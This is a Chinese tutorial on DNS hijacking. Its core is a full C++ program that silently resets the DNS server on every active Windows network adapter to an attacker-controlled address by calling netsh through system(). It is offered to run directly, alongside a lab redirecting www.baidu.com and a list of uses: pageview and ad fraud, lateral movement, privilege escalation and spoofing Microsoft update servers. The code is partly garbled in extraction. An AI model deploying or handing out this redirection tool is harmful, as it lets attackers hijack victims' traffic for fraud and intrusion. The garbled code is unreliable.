什么是DNS?
每个IP地址都可以有一个主机名,主机名由一个或多个字符串组成,字符串之间用小数点隔开。有了主机名,就不要死记硬背每台IP设备的IP地址,只要记住相对直观有意义的主机名就行了。这就是DNS协议的功能。
主机名到IP地址的映射有两种方式:
1)静态映射,每台设备上都配置主机到IP地址的映射,各设备独立维护自己的映射表,而且只供本设备使用;
2)动态映射,建立一套域名解析系统(DNS),只在专门的DNS服务器上配置主机到IP地址的映射,网络上需要使用主机名通信的设备,首先需要到DNS服务器查询主机所对应的IP地址。
通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。在解析域名时,可以首先采用静态域名解析的方法,如果静态域名解析不成功,再采用动态域名解析的方法。可以将一些常用的域名放入静态域名解析表中,这样可以大大提高域名解析效率

什么是DNS劫持?

DNS劫持又称域名劫持,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。

DNS(域名系统)的作用是把网络地址(域名,以一个字符串的形式)对应到真实的计算机能够识别的网络地址(IP地址),以便计算机能够进一步通信,传递网址和内容等。由于域名劫持往往只能在特定的被劫持的网络范围内进行,所以在此范围外的域名服务器(DNS)能够返回正常的IP地址,高级用户可以在网络设置把DNS指向这些正常的域名服务器以实现对网址的正常访问。所以域名劫持通常相伴的措施——封锁正常DNS的IP。

程序所需头文件和命名空间:

#include #include #include #include #include #include using namespace std;

获取本机可用网卡:

void Get_using_interface(){      system("netsh interface show interface > interface_info.txt");​      FILE* fp = fopen("interface_info.txt", "rb");      const int file_size = filelength(fileno(fp));      char* buff = (char*)malloc(sizeof(char)*file_size);      if (fp) {        fread(buff, 1, file_size, fp);        str = buff;        free(buff);        replaceA_to_B(str, "-------------------------------------------------------------------------", "");        Split(str, "", interface_using);        Spilt_space(interface_using);      }    }​void Spilt_space(list list_str) {      for (list::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {        cout << *itor << endl;        string::size_type first_variable = (*itor).find("已启用");        string::size_type second_variable = (*itor).find("已连接");        string::size_type third_variable = (*itor).find("专用");        if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {          string info = *itor;          last_get_interface_using.push_back(info.substr(55,info.length()));        }      }    }​void replaceA_to_B(std::string& S, const std::string A, const std::string B) {      std::size_t found = S.find(A);      while (std::string::npos != found) {        S.replace(found, A.length(), B);        found = S.find(A, found + 1);​void Split(const string& src, const string& separator, list& dest){      string str = src;      string substring;      string::size_type start = 0, index;      dest.clear();      index = str.find_first_of(separator, start);      do      {        if (index != string::npos)        {          substring = str.substr(start, index - start);          dest.push_back(substring);          start = index + separator.size();          index = str.find(separator, start);          if (start == string::npos) break;        }      } while (index != string::npos);​      //the last part      substring = str.substr(start);      dest.push_back(substring);    }

构造函数实现:

DNS_Hijack(string DNS="192.168.1.233")    {      Get_using_interface();      for(list::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)      {        string str = "netsh interface ip set dns "" + (*itor) + "" static " + DNS;        cout << str;        system(str.c_str());      }    }

下面我们先直接给出完整代码方便用户直接运行查看效果。(记得修改ip地址)

​#include #include #include #include #include #include using namespace std;​class DNS_Hijack {  private:    list interface_using;          //获取本地可用网卡    list last_get_interface_using;  private:      string str;                //存储文件读取后的内容    string DNS;​  private:    void Get_using_interface(){      system("netsh interface show interface > interface_info.txt");​      FILE* fp = fopen("interface_info.txt", "rb");      const int file_size = filelength(fileno(fp));      char* buff = (char*)malloc(sizeof(char)*file_size);      if (fp) {        fread(buff, 1, file_size, fp);        str = buff;        free(buff);        replaceA_to_B(str, "-------------------------------------------------------------------------", "");        Split(str, "", interface_using);        Spilt_space(interface_using);      }    }​  private:    void Spilt_space(list list_str) {      for (list::iterator itor = list_str.begin(); itor != list_str.end(); itor++) {        cout << *itor << endl;        string::size_type first_variable = (*itor).find("已启用");        string::size_type second_variable = (*itor).find("已连接");        string::size_type third_variable = (*itor).find("专用");        if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) {          string info = *itor;          last_get_interface_using.push_back(info.substr(55,info.length()));        }      }​    }​  private:    void replaceA_to_B(std::string& S, const std::string A, const std::string B) {      std::size_t found = S.find(A);      while (std::string::npos != found) {        S.replace(found, A.length(), B);        found = S.find(A, found + 1);      }  }​  private:    void Split(const string& src, const string& separator, list& dest){      string str = src;      string substring;      string::size_type start = 0, index;      dest.clear();      index = str.find_first_of(separator, start);      do      {        if (index != string::npos)        {          substring = str.substr(start, index - start);          dest.push_back(substring);          start = index + separator.size();          index = str.find(separator, start);          if (start == string::npos) break;        }      } while (index != string::npos);​      //the last part      substring = str.substr(start);      dest.push_back(substring);    }​  public:    DNS_Hijack(string DNS="192.168.1.233")    {      Get_using_interface();      for(list::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++)      {        string str = "netsh interface ip set dns "" + (*itor) + "" static " + DNS;        cout << str;        system(str.c_str());      }    }​};​int main(){  DNS_Hijack* one = new DNS_Hijack("192.168.1.20");  system("pause");  return 0;}

现在我在虚拟机win2003,ip地址为:192.168.1.20中搭建了一台DNS服务器,并将所有域名为www.baidu.com的请求都解析到我内网中的一台搭建了Apache服务器上。
这个时候我对www.baidu.com的请求就会通过我内网中的DNS服务器解析成我Apache服务器的地址。
也就是说真正的百度的ip我们已经无法得到,通过nslookup也可以看出,DNS被劫持。

实验效果:

部分用途:

1、我们可以通过这种方法让用户访问特定的URL从而实现恶意刷取网站PE量的效果。

2、如果网站接入了广告联盟,可以通过这种方法来让用户直接看到网站中的广告。

3、营销,推广等。

4、可以用于局域网横向渗透、提权,在APT攻击中可以有部分体现。(伪造微软的更新服务器域名。)

tcpdump 识别成dns_为什么总能看到广告弹窗?没错,就是DNS的问题相关推荐

  1. tcpdump 识别成dns_dns tcpdump

    查看本机dns服务器配置 root@php56:/home/tb# cat /etc/resolv.conf # Dynamic resolv.conf(5) file for glibc resol ...

  2. tcpdump 识别成dns_1.6.3 使用tcpdump观察DNS通信过程

    1.6.3 使用tcpdump观察DNS通信过程 为了看清楚DNS通信的过程,下面我们将从ernest-laptop上运行host命令以查询主机www.baidu.com对应的IP地址,并使用tcpd ...

  3. 智能算法把奥巴马识别成白人,AI也学会歧视了?

    在人工智能愈发普及的当下,越来越多的地铁.商场或其他公共场所,都已出现了人脸识别的仪器. 按理说,这样先进的技术,本该让人们的生活更便捷,更自由.然而,在某些时候,这些技术非但没能造福人类,反而揭开了 ...

  4. 狐友老欧头疼了一天,VFP转换成JSON格式总不对,竟是乱码惹的祸

    狐友会老欧发来问题,说转换JSON总是不对. 下图是正常情况 但是取多条数据就变成了 仔细看,你会发现第二段的 data 里面变成了字符串. 于是猫猫远程帮他看看,打开了数据库,有一个字段是TEXT类 ...

  5. 使用阿里云的图片识别成表格ocr(将图片表格转换成excel)

    为了简便财务总是要对照着别人发来的表格图片制作成自己的表格 图片识别 识别成表格 表格识别 ocr 使用阿里云api 购买(印刷文字识别-表格识别) https://market.aliyun.com ...

  6. 如何将图片上的文字识别成可修改的文本

    曾几时何打字员是一种正式的工种,而随着科技的不断发展,图片中的文字已经能直接通过工具识别成文字,具体是如何操作的呢?一起来看看吧 搜索speedpdf打开工具后,在首先选择JPG转Word并进入到转换 ...

  7. 笔记本插入麦克风被识别成耳机怎么办

    笔记本自带的麦克风会录到风扇声,自己插的被驱动程序默认识别成了耳机,为了录个音折腾一下午,难受 先打开控制面板 然后拔掉麦克风重新插入就会有选择框了,之前可能觉得每次都选太麻烦,关掉了

  8. Excel插入图片自动OCR识别成可编辑的文字

    今天要和大家分享的是:Excel插入图片自动OCR识别成可编辑的文字详见下图动态演示和步骤分解." ​ 1.首先打开Excel表格 ​ 2.然后选择diy工具箱 3.选择文字识别按钮 ​ 4 ...

  9. 电脑图片怎么识别成表格并导出?一键识别有方法

    我们怎么将图片识别成表格呢?日常工作中时常会接触到图片形式的文件,部分图片中承载了重要的数据信息,如果想要更好的将其归纳整理,转为Excel表格是个不错的选择.这就来给有需要的小伙伴分享两个转换方式, ...

最新文章

  1. 利用Libra进行机器学习和深度学习
  2. python预处理删除特殊字符_python - 如何删除包含特殊字符的字符串?_others_酷徒编程知识库...
  3. React + Threejs + Swiper 实现全景图效果
  4. MPB:北大口腔陈峰、陈智滨等-​口腔微生物组研究主要取样部位及方法
  5. 启明云端分享| 彩屏化的86控制面板(简称86盒)怎么选型硬件和对比
  6. The serializable class XXX does not declare a static final serialVersionUID field of type long的警告...
  7. 《Java并发性和多线程介绍》-Java TheadLocal
  8. 行货好还是水货好?详解苹果iPhone5版本选购 --国行、港行、水货、合约机
  9. php中文字怎么上下居中,CSS怎么设置垂直居中?
  10. php用魔术方法__call实现类函数重载
  11. 深度学习2.0-6.tensorflow的高阶操作之合并与分割
  12. openstack instance bootmgr is missing 问题 修复
  13. mysql 授权创建数据库_MySQL创建数据库与创建用户以及授权
  14. 优先体验重播matlab_如何为深度Q网络实施优先体验重播
  15. 织梦采集工具-织梦CMS采集教程
  16. Python之函数传参
  17. java中的IO整理(转)
  18. 装修细节注意问题 装修细节有哪些
  19. uniapp APP 端 WebSocket 使用,实现一个简单 WebSocket 工具类
  20. 【NLP】AutoRegressive Language Model

热门文章

  1. windows Tensorflow cpu版 指令集加速
  2. 萤石云 服务器错误 10017
  3. 贝叶斯推断及其互联网应用(二):过滤垃圾邮件
  4. element upload预览_vue+element上传图片并显示预览图
  5. camerax 自动聚焦_Android实现手机摄像头的自动对焦
  6. TestNG测试框架之TestNG.xml/YAML
  7. 正则表达式中^的用法
  8. 快应用 - 应用签名校验失败
  9. jpa怎么传参到in中_Spring Boot中的测试
  10. java byte array_Java IO: ByteArray和Filter